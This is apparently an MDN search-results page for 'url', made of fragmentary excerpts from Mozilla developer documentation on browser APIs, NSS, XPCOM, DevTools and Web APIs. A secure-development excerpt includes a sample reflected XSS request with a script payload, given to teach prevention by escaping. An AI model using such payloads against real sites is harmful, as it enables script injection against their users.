examples var browser = document.queryselector('iframe'); var request = browser.getscreenshot(100, 100); request.onsuccess = function() { var blob = request.result; var
url =
url.createobject
url(blob); } specification not part of any specification.
mozbrowsercontextmenu
its properties are as follows: documenturi a domstring representing the
url of the document the menu is associated with.
mozbrowsericonchange
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the
url of the new favicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Browser API
htmliframeelement.download() downloads a specified
url, storing it at the specified filename/path.
Embedding Tips
the simplepersist() function takes a string
url and a string file path.
HTML parser threading
there are two such pieces of information: the manifest
url for an app cache manifest and the character encoding for the document.
Getting Started with Chat
if you have something long to post, a code snippet for example, use paste.mozilla.org and paste the generated
url in irc instead.
How to get a process dump with Windows Task Manager
(to get a process dump for thunderbird or some other product, substitute the product name where ever you see firefox in these instructions.) caution the memory dump that will be created through this process is a complete snapshot of the state of firefox when you create the file, so it contains
urls of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken.
How to implement a custom autocomplete search component
the toolkit mechanism has built-in support for several autocomplete sources, including: history: search the browser's
url history (firefox: 1.0+; seamonkey: 1.1+) form-history: search the values that the user has entered into form fields.
Integrated Authentication
the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of
url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server.
AddonAuthor
url optional string an optional
url with details about the person.
DownloadSource
properties attribute type description
url read only string the uri for the download source.
Downloads.jsm
alternatively, may be an nsiuri, a downloadsource object, or an object with the following properties:
url: string containing the uri for the download source.
Http.jsm
the elements of the array will be
url-encoded and "application/x-www-form-
urlencoded; charset=utf-8" will be enforced as the content type.
NetUtil.jsm
this may be specified as an nsiuri, nsifile, nsichannel, nsiinputstream or as a string specifying the
url to open.
Services.jsm
up application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service
urlformatter nsi
urlformatter
url formatter service vc nsiversioncomparator version comparator service wm nsiwindowmediator window mediator service ww nsiwindowwatcher window watcher service 1 mobile only 2 windows only 3 main process only 4 child process only ...
JavaScript code modules
openlocationlast
url.jsm provides access to the last
url opened using the "open location" option in the file menu.
Localizing extension descriptions
add the following line to it (where extension_id matches your application id from install.rdf and path_to_localization_file is the chrome path to the localization file you added to earlier): pref("extensions.extension_id.description", "path_to_localization_file"); localizable strings the following add-on metadata can be localized using this process: name description creator homepage
url localizable lists in cases where multiple values can exist, a numeric index is appended to the end of the preference name: extensions.extension_id.contributor.1=first_localized_contributor_name extensions.extension_id.contributor.2=second_localized_contributor_name extensions.extension_id.contributor.3=thrid_localized_contributor_name pref("extensions.extension_id.contributor.1", "path_to_lo...
SVN for Localizers
enter the following command from the command-line: svn update your local svn repository (i.e., working directory) will be updated with the newest files from the
url you initially cloned your repository from.
Creating localizable web content
if there are alternatives, use them by adding the $lang; parameter in the
urls evaluate the impact of new pages on all our web properties, especially links to community sites and redirects.
Basics
tretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image:
url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mfrac> - fractions
se'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image:
url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Gecko Profiler FAQ
some functions (reflow, painting, js excecution) insert the
url of the associated document into the call stack frame, so you can get a rough idea, but we don’t have instrumentation at the tab/document/eventqueue level.
about:memory
00 mb ── canvas-2d-pixels 5.38 mb ── gfx-surface-xlib 0.00 mb ── gfx-textures 0.00 mb ── gfx-tiles-waste 0 ── ghost-windows 109.22 mb ── heap-allocated 164 ── heap-chunks 1.00 mb ── heap-chunksize 114.51 mb ── heap-committed 164.00 mb ── heap-mapped 4.84% ── heap-overhead-ratio 1 ── host-object-
urls 0.00 mb ── imagelib-surface-cache 5.27 mb ── js-main-runtime-temporary-peak 0 ── page-faults-hard 203,349 ── page-faults-soft 274.99 mb ── resident 251.47 mb ── resident-unique 1,103.64 mb ── vsize some measurements of note are as follows.
Preference reference
age" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.
urlbar.formatting.enabledthe preference browser.
urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.
urlbar.trim
urlsthe preference browser.
urlbar.trim
urls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) ...
Preferences system
example: var features = "chrome,titlebar,toolbar,centerscreen,modal"; window.opendialog(
url, "preferences", features); bugzilla the component for bugs in the preferences bindings (but not in firefox/thunderbird options ui) is toolkit:preferences (file a bug list open bugs) ...
NSS 3.12.9 release notes
bug 596798: win_rand.c (among others) uses unsafe _snwprintf bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point
urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary=""...
Python binding for NSS
links to download
url for a specific release can be found in the release information section.
NSS functions
andshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_reveal
url mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_set
url mxr 3.2 and later ssl_shutdownserversessionidcache mxr 3.7.4 and later deprecated ssl functions the followi...
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia
url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more.
sslerr.html
"peer user canceled handshake." ssl_error_no_renegotiation_alert -12186 "peer does not permit renegotiation of ssl security parameters." ssl_error_unsupported_extension_alert -12184 "ssl peer does not support requested tls hello extension." ssl_error_certificate_unobtainable_alert -12183 "ssl peer could not obtain your certificate from the supplied
url." ssl_error_unrecognized_name_alert -12182 "ssl peer has no certificate for the requested dns name." ssl_error_bad_cert_status_response_alert -12181 "ssl peer was unable to get an ocsp response for its certificate." ssl_error_bad_cert_hash_value_alert -12180 "ssl peer reported bad certificate hash value." unspecified errors that occurred ...
SSL functions
andshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_reveal
url mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_set
url mxr 3.2 and later ssl_shutdownserversessionidcache mxr 3.7.4 and later ...
NSS_3.12.3_release_notes.html
bug 483113: add environment variable to disable/enable hash algorithms in cert/crl signatures bug 483168: nss callback api for looking up a default ocsp responder
url bug 483963: assertion failure in ocsp tests.
NSS tools : vfychain
options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia
url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more.
Multithreading in Necko
cached page loads, file
url loads, and jar
url loads all utilize the file transport service.
Getting SpiderMonkey source code
downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following
urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
Parser API
source string default: null a description of the input source; typically a filename, path, or
url.
SpiderMonkey 31
the download
url is outdated and spidermonkey not release alone!
SpiderMonkey 38
— sep 17, 2015 the download
url is outdated and spidermonkey not release alone!
SavedFrame
to see the stack as the content compartment sees it, waive the xray wrapper with components.utils.waivexrays: const contentviewofstack = components.utils.waivexrays(somestack); accessor properties of the savedframe.prototype object source the source
url for this stack frame, as a string.
TPS Pref Lists
for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.
urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences.
TPS Tab Lists
there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data:
url's can be used as well.
Secure Development Guidelines
is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding & → & < → < > → > " → " ' → '
url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it c...
The Publicity Stream API
possible error codes include: denied - if the user does not log in correctly permissiondenied - if the site is not allowed to access the publicity stream networkerror - if the publicity server is unreachable for_apps is a json list of apps that this store has (each represented as its origin
url), so that stream events not relating to applications in a given presentation context can be excluded from the return value.
Resources
de the gecko networking library ("necko") the netscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium
url specification at the w3 gnu make « previous copyright (c) 2003 by doug turner and ian oeschger.
Components.utils.Sandbox
the following objects are supported: -promise (removed in firefox 37) css indexeddb (web worker only) xmlhttprequest textencoder textdecoder
url urlsearchparams atob btoa blob file crypto rtcidentityprovider fetch (added in firefox 41) caches filereader for example: var sandboxscript = 'var encoded = btoa("hello");' + 'var decoded = atob(encoded);'; var options = { "wantglobalpropertie...
Components.utils.importGlobalProperties
pported: string/object xpcom component atob blob btoa crypto css fetch file nsidomfile indexeddb nodefilter firefox 60 nsidomnodefilter obsolete since gecko 60 rtcidentityprovider textdecoder textencoder
url urlsearchparams xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available from firefox 28 and up.
HOWTO
maybe it even uses javascript files from chrome://
urls.
nsIDroppedLinkItem
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description
url domstring
url of the dropped link.
nsIEditorDocShell
methods makeeditable() make this docshell editable, setting a flag that causes an editor to get created, either immediately, or after a
url has been loaded.
nsIExternalHelperAppService
return value true if data from
urls with the specified extension and encoding should be decoded prior to saving the file or delivering it to a helper application; otherwise false.
nsIFeed
image nsiwritablepropertybag2 provides an image
url and metadata, as defined by rss 2.
nsIMIMEInputStream
example var postdata = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-
urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); ...
nsIMsgCompFields
(bug 249530) newsgroups astring newshost char * newspost
url char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype print32 references char * replyto astring securityinfo nsisupports subje...
nsIMsgFilterList
terlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream log
url readonly attribute acstring nsimsgfilterlist::log
url methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigned long filterindex ) getfilternamed() nsimsgfilter nsimsgfilterlist::getfilternamed (in astring filtername) setfilterat() nsimsgfilter nsimsgfilterlist::setfilterat ( in unsigned long filterindex, in nsimsgfilter filter ) removefilter()...
nsIMsgSearchSession
void addallscopes(in nsmsgsearchscopevalue attrib); parameters attrib search() void search(in nsimsgwindow awindow); parameters awindow interruptsearch() void interruptsearch(); pausesearch() these two methods are used when the search session is using a timer to do local search, and the search adapter needs to run a
url (e.g., to reparse a local folder) and wants to pause the timer while running the
url.
nsINavBookmarkObserver
"title" the new title for the item "favicon" the "moz-anno"
url for the new favicon image.
nsINavHistoryQueryOptions
includehidden boolean most items in history are marked "hidden." only toplevel pages that the user sees in the
url bar are not hidden.
nsIPrincipal
on the web, for example, a typical principal is comprised of an
url scheme, host, and port.
nsIProtocolHandler
see also nsiproxiedprotocolhandler adding a new protocol to mozilla writing a firefox protocol handler custom about:
urls - similar to adding new protocol but adding onto the existing about: protocol ...
nsIProtocolProxyService
if a nsiprotocolhandler disallows all proxying, then filters will never have a chance to intercept proxy requests for such
urls.
nsIScriptableIO
this parameter may be specified either as a
url string or as an nsifile object.
nsITraceableChannel
see modify
url before loading page in firefox for an overview of how to modify a request before it is made.
nsIURIFixup
methods createexposableuri() converts an internal uri (for example a wysiwyg uri) into one which we can expose to the user, for example on the
url bar.
nsIURIFixupInfo
(may be null if the original input was broken as a
url, e.g.
nsIWebNavigation
for http and ftp
urls and possibly others, characters above u+007f will be converted to utf-8 and then
url- escaped per the rules of rfc 2396.
nsIXULTemplateQueryProcessor
for example, a query might have the following syntax: (?id, ?name, ?
url) from bookmarks where parentfolder = ?start this query might generate a result for each bookmark within a given folder.
Using nsIPasswordManager
getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/
url (you'll need this to retrieve the password again later), a username, and a password.
LDAP Support
zipcode postalcode workzipcode zip workcountry countryname jobtitle title department ou department orgunit department department department departmentnumber company o company company workcountry countryname _aimscreenname nscpaimscreenname webpage1 work
url webpage2 home
url birthyear birthyear custom1 custom1 custom2 custom2 custom3 custom3 custom4 custom4 notes notes notes description prefermailformat xmozillausehtmlmail lastmodifieddate modifytimestamp custom ldap attributes thunderbird supports custom ldap attributes for...
Add New Tab
var a
url = "chrome://myext/mytab.xul"; let tabmail = getmail3pane().document.getelementbyid("tabmail"); tabmail.opentab("chrometab", { chromepage: a
url }); ...
Add Toolbar Button
tion/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image:
url("chrome://demo/skin/icon.png") !important; } ...
Using the Multiple Accounts API
- boolean, should we download new messags on biff (true) or just alert user that there is new mail (false) preference: mail.server.server.directory - local platform-specific path to store messages and folder indexes preference: mail.server.server.name - user-visible name of server the following are specific to imap: preference: mail.server.server.admin_
url - administration
url for server preference: mail.server.server.using_subscription - boolean, should we use subscriptions?
Virtualenv
here are a few such tools: carton: make a self-extracting virtualenv from directories or
urls of packages; http://pypi.python.org/pypi/carton velcro: a script that sets up a python project for local installation; https://bitbucket.org/kumar303/velcro/ virtualenvwrapper: a set of extensions to ian bicking’s virtualenv tool for creating isolated python development environments; http://www.doughellmann.com/projects...tualenvwrapper the mozilla-central virtualenv in order to make...
Zombie compartments
(http://www.facebook.com/plugins/like.php?...) compartment(https://plusone.google.com/_/+1/fastbutton?...) compartment(http://platform.twitter.com/widgets/...utton.html?...) compartment(http://cdn.at.atwola.com/_media/uac/tcode3.html) compartment(https://s-static.ak.fbcdn.net/connec..._proxy.php?...) compartment(http://ads.tw.adsonar.com/adserving/getads.jsp?...) (some of those compartment
urls are long and have been truncated.) another thing to beware is each compartment is created for an origin (e.g.
ctypes.open
ix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchrome
url(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.path; // "file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@je...
Plugins
also from firefox 55 onwards, flash and other plugins can no longer be loaded from any
url scheme except for http:// and https:// (bug 1335475).
Preferences System
example: var features = "chrome,titlebar,toolbar,centerscreen,modal"; window.opendialog(
url, "preferences", features); bugzilla the component for bugs in the preferences bindings (but not in firefox/thunderbird options ui) is toolkit:preferences (file a bug list open bugs) ...
Accessibility Inspector - Firefox Developer Tools
this can mean different things depending on the type of the item; for example, a form input (role: entry) would have a value of whatever is entered in the input, whereas a link's value would be the
url in the corresponding <a> element's href.
Introduction to DOM Inspector - Firefox Developer Tools
inspecting arbitrary
urls you may also inspect the dom of arbitrary
urls by using the inspect a
url menuitem in the file menu, or by just entering a
url into the dom inspector's address bar and clicking inspect or pressing enter.
Debugging service workers - Firefox Developer Tools
debugging your service worker in any case, when the service worker is successfully registered, you'll see information about it displayed in the application > service workers view (along with any other service workers registered on the same domain): this gives you a variety of information about your service worker: the
url that the service worker is registered on.
Debug eval sources - Firefox Developer Tools
in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# source
url=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# source
url directive.
JSON viewer - Firefox Developer Tools
if you open a json file in the browser, or view a remote
url with the content-type set to application/json, it is parsed and given syntax highlighting.
Settings - Firefox Developer Tools
if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config'
url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view.
Client.postMessage() - Web APIs
client.postmessage({ msg: "hey i just got a fetch from you!",
url: event.request.
url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.
url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Clients.get() - Web APIs
examples self.clients.get(id).then(function(client) { self.clients.openwindow(client.
url); }); specifications specification status comment service workersthe definition of 'get()' in that specification.
Clients.matchAll() - Web APIs
examples clients.matchall(options).then(function(clientlist) { for (var i = 0 ; i < clientlist.length ; i++) { if (clientlist[i].
url === 'index.html') { clients.openwindow(clientlist[i]); // or do something else involving the matching client } } }); specifications specification status comment service workersthe definition of 'clients: matchall' in that specification.
Clipboard.read() - Web APIs
unable to access it."); } else { const blob = data.items[i].gettype("image/png"); imgelem.src =
url.createobject
url(blob); } } }); } }); note: at this time, while firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the permissions api to manage access to the api will not work.
ClipboardItem() - Web APIs
async function writeclipimg() { try { const img
url = '/myimage.png'; const data = await fetch(img
url); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eve...
ClipboardItem - Web APIs
async function writeclipimg() { try { const img
url = '/myimage.png'; const data = await fetch(img
url); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipbo...
CrashReportBody - Web APIs
some sample json might look like this: { "type": "crash", "age": 42, "
url": "https://example.com/", "user_agent": "mozilla/5.0 (x11; linux x86_64; rv:60.0) gecko/20100101 firefox/60.0", "body": { "reason": "oom" } } note: crash reports are always delivered to the endpoint group named default; there is currently no way to override this.
CustomElementRegistry.define() - Web APIs
bute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelement('span'); info.setattribute('class','info'); // take attribute content and put it inside the info span var text = this.getattribute('text'); info.textcontent = text; // insert icon var img
url; if(this.hasattribute('img')) { img
url = this.getattribute('img'); } else { img
url = 'img/default.png'; } var img = document.createelement('img'); img.src = img
url; icon.appendchild(img); // create some css to apply to the shadow dom var style = document.createelement('style'); style.textcontent = '.wrapper {' + 'positio...
DOMParser - Web APIs
note: xmlhttprequest can parse xml and html directly from a
url-addressable resource, returning a document in its response property.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("
url").textcontent = document.documenturi; html <p id="
urltext">
url:<br/> <span id="
url">
url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document Object Model (DOM) - Web APIs
tfragment documenttype domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewalker
url window worker xmldocument obsolete dom interfaces the document object model has been highly simplified.
EventSource() - Web APIs
syntax eventsource = new eventsource(
url, configuration); parameters
url a usvstring that represents the location of the remote resource serving the events/messages.
FederatedCredential - Web APIs
examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', icon
url: icon
url }); // store it navigator.credentials.store(cred) .then(function() { // do something else.
FileReader: abort event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: error event - Web APIs
nction handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status file api working draft ...
FileReader: load event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.onload - Web APIs
the filereader.onload property contains an event handler executed when the load event is fired, when content read with readasarraybuffer, readasbinarystring, readasdata
url or readastext is available.
FileReader: progress event - Web APIs
t); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdata
url(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader - Web APIs
filereader.readasdata
url() starts reading the contents of the specified blob, once finished, the result attribute contains a data:
url representing the file's data.
FontFace.family - Web APIs
example var fontface = new fontface('roboto', '
url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
FormData - Web APIs
you can also pass it directly to the
urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission.
Geolocation API - Web APIs
if sucessful, the available hyperlink is populated with an openstreetmap.org
url that will show their location.
HTMLAudioElement - Web APIs
"211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlaudioelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audio() creates and returns a new htmlaudioelement object, optionally starting the process of loading an audio file into it if the file
url is given.
HTMLBaseElement - Web APIs
htmlbaseelement.href is a domstring that reflects the href html attribute, containing a base
url for relative
urls in the document.
HTMLCanvasElement - Web APIs
htmlcanvaselement.todata
url() returns a data-
url containing a representation of the image in the format specified by the type parameter (defaults to png).
HTMLElement.lang - Web APIs
example // this snippet compares the base language and // redirects to another
url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification.
HTMLFormElement - Web APIs
f.action = "a-different-
url.cgi"; f.name = "a-different-name"; } </script> submit a <form> into a new window: <!doctype html> <html> <head> <meta charset="utf-8"> <title>example new-window form submission</title> </head> <body> <form action="test.php" target="_blank"> <p><label>first name: <input type="text" name="firstname"></label></p> <p><label>last name: <input type="text" name="lastname"></label></p> ...
HTMLHyperlinkElementUtils.host - Web APIs
the htmlhyperlinkelementutils.host property is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', and the port of the
url.
HTMLHyperlinkElementUtils.origin - Web APIs
the htmlhyperlinkelementutils.origin read-only property is a usvstring containing the unicode serialization of the origin of the represented
url; that is: for
url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for
url using file: scheme, the value is browser dependant; for
url using the blob: scheme, the origin of the
url following blob:.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete
url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
HTMLImageElement.complete - Web APIs
let lightboxelem = document.queryselector("#lightbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(
url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src =
url; }); } async function lightbox(
url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ...
HTMLImageElement.decode() - Web APIs
